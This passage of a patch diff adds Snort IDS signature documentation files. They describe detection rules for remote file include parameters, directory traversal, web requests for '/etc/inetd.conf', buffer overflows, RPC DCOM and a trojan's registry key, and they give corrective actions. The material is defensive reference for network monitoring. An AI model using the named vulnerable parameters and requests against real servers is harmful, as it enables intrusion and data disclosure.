+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2057.txt
+++ snort-2.8.5.2/doc/signatures/2057.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2057
+
+--
+Summary:
+helpout.exe.
+
+--
+Impact:
+Denial of Service
+
+--
+Detailed Information:
+It is possible to issue a denial of service to vulnerable versions of 
+the WebSphere caching proxy by sending an illegitimate request to the 
+cgi script helpout.exe.
+
+scanner nessus to scan the server for possible exploit opportunities.
+
+--
+Affected Systems:
+WebSphere caching proxy
+
+--
+Attack Scenarios:
+The attacker merely needs to send a bad request to helpout.exe.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-vulnerable version of WebSphere caching proxy 
+or disable the script helpout.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11162
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2415.txt
+++ snort-2.8.5.2/doc/signatures/2415.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2415
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the handling of ISAKMP data and SA keys.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+The Internet Security Association and Key Management Protocol (ISAKMP) 
+is used as a framework for an authentication method between peers using 
+secure keys.
+
+ISAKMP is a framework for authentication using cryptographic keys. It 
+specifically defines the process of key exchange as opposed to the 
+generation of a cryptographic key.
+
+ISAKMP also details the procedures for the required security 
+associations in network security services.
+
+--
+Affected Systems:
+	Kame Racoon
+
+--
+Attack Scenarios:
+The attacker may attempt to delete keys and security associations in
+hosts running the KAME IKE Daemon.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ISAKMP:
+http://www.networksorcery.com/enp/protocol/isakmp.htm
+
+RFC:
+http://www.ietf.org/rfc/rfc2407.txt
+http://www.ietf.org/rfc/rfc2408.txt
+
+IANA:
+http://www.iana.org/assignments/isakmp-registry
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000755.txt
+++ snort-2.8.5.2/doc/signatures/100000755.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000755
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "features.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "features.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000640.txt
+++ snort-2.8.5.2/doc/signatures/100000640.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000640
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_manager.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_manager.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1896.txt
+++ snort-2.8.5.2/doc/signatures/1896.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1896
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-10.txt
+++ snort-2.8.5.2/doc/signatures/119-10.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+119-10
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This event may also constitute an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of directory traversal in a web request. This may be an attempt to
+escape the web root directory or it may be an attempt to evade an IDS.
+
+--
+Affected Systems:
+	Microsoft IIS Servers
+
+--
+Attack Scenarios: 
+An attacker may supply a path to a file outside the web root by using
+"../" in the uri.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+This event may be generated if a web site uses "../" in links to other
+files on the site.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2630.txt
+++ snort-2.8.5.2/doc/signatures/2630.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2630
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "register_user_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "privilege_type" variable
+to cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid username
+and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck94.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3220.txt
+++ snort-2.8.5.2/doc/signatures/3220.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3220
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3072.txt
+++ snort-2.8.5.2/doc/signatures/3072.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3072
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"status" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1044.txt
+++ snort-2.8.5.2/doc/signatures/1044.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+1044
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of a file on an Internet Information Server (IIS) host. 
+
+--
+Impact:
+Intelligence gathering activity.  This attack can display the contents of an Activer Server Page (ASP) file or other files located on the server. 
+
+--
+Detailed Information:
+A vulnerability exists in Windows NT 4.0 Option Pack and Windows 2000 Index Server.  The Index Server is a search engine used by IIS that allows a user's browser to search for text in HTML and other documents.   The Index Server has a Hit-Hightlighting component to highlight the text that satisifies the user's query.  A vulnerability exists in the webhits.dll file used to process the search, allowing the disclosure of file contents.  The .htw file extension is used by webhits.dll to perform hit-highlighting capabilities.
+
+--
+Affected Systems:
+Hosts running Microsoft Index Server 2.0
+
+--
+Attack Scenarios:
+An attacker can attempt to disclose the contents of a file by crafting a special URL to access the Hit-Highlighting component of the Index Server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch discussed in the referenced Microsoft Bulletin.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS237
+
+Bugtraq
+http://www.securityfocus.com/bid/1084
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0302
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/162.txt
+++ snort-2.8.5.2/doc/signatures/162.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+162
+
+--
+Summary:
+Matrix is a Trojan Horse offering the attacker the ability to upload 
+files to, and download files from the victim host.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Matrix server
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+Matrix is based on the Girlfriend Trojan, see sid 145.
+
+The default name of the server application is Wincfg.exe
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added 
+
+Wincfg.exe ="<DRIVE>:\WINDOWS\Wincfg.exe"
+
+A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS83
+
+--
--- snort-2.8.5.2.orig/doc/signatures/839.txt
+++ snort-2.8.5.2/doc/signatures/839.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+839
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1794.txt
+++ snort-2.8.5.2/doc/signatures/1794.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1794
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "masturbation".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "masturbation".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/398.txt
+++ snort-2.8.5.2/doc/signatures/398.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+398
+
+--
+
+Summary:
+This event is generated when An ICMP Host Unreachable for Type of Server datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the requested TOS (Type of Service) is not permitted to transverse the network.  This could be an indication of an improperly configured routing device or a improperly configured host on the network.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1370.txt
+++ snort-2.8.5.2/doc/signatures/1370.txt
@@ -0,0 +1,57 @@
+Rule:
+--
+Sid:
+1370
+
+--
+Summary:
+Attempted inetd configuration access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the processes being run on a 
+webserver. The inetd configuration lists the daemons executed at boot 
+time on a UNIX or Linux based system. The attacker could possibly gain 
+information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 
+'/etc/inetd.conf'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries 
+outside of it's designated web root or cgi-bin. This file may also be 
+requested on a command line should the attacker gain access to the 
+machine. Making the file read only by the superuser on the system will 
+disallow viewing of the file by other users.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1869.txt
+++ snort-2.8.5.2/doc/signatures/1869.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1869
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/812.txt
+++ snort-2.8.5.2/doc/signatures/812.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+812
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/475.txt
+++ snort-2.8.5.2/doc/signatures/475.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+
+Sid:
+475
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP datagram
+with Record Route IP options.
+
+--
+
+Impact:
+Packets containing IP Record Route options are used to emulate the functionality
+of traceroute. 
+
+--
+
+Detailed Information:
+The Record Route IP option is used to store routing information about the
+path a datagram takes to its destination.  ICMP ECHO packets with an IP header
+utilizing the Record Route option are used to emulate the functionality of
+traceroute.
+
+--
+
+Attack Scenarios:
+A remote attacker may attempt to use the Record Route IP option to determine
+routing information if traceroute fails.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of datagram.
+
+--
+
+False Positives:
+Network diagnostic tools may generate these types of datagrams.
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to block incoming datagrams with the IP Record Route option.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.whitehats.com/info/IDS238
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1499.txt
+++ snort-2.8.5.2/doc/signatures/1499.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1499
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3251.txt
+++ snort-2.8.5.2/doc/signatures/3251.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3251
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000611.txt
+++ snort-2.8.5.2/doc/signatures/100000611.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000611
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_delete.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
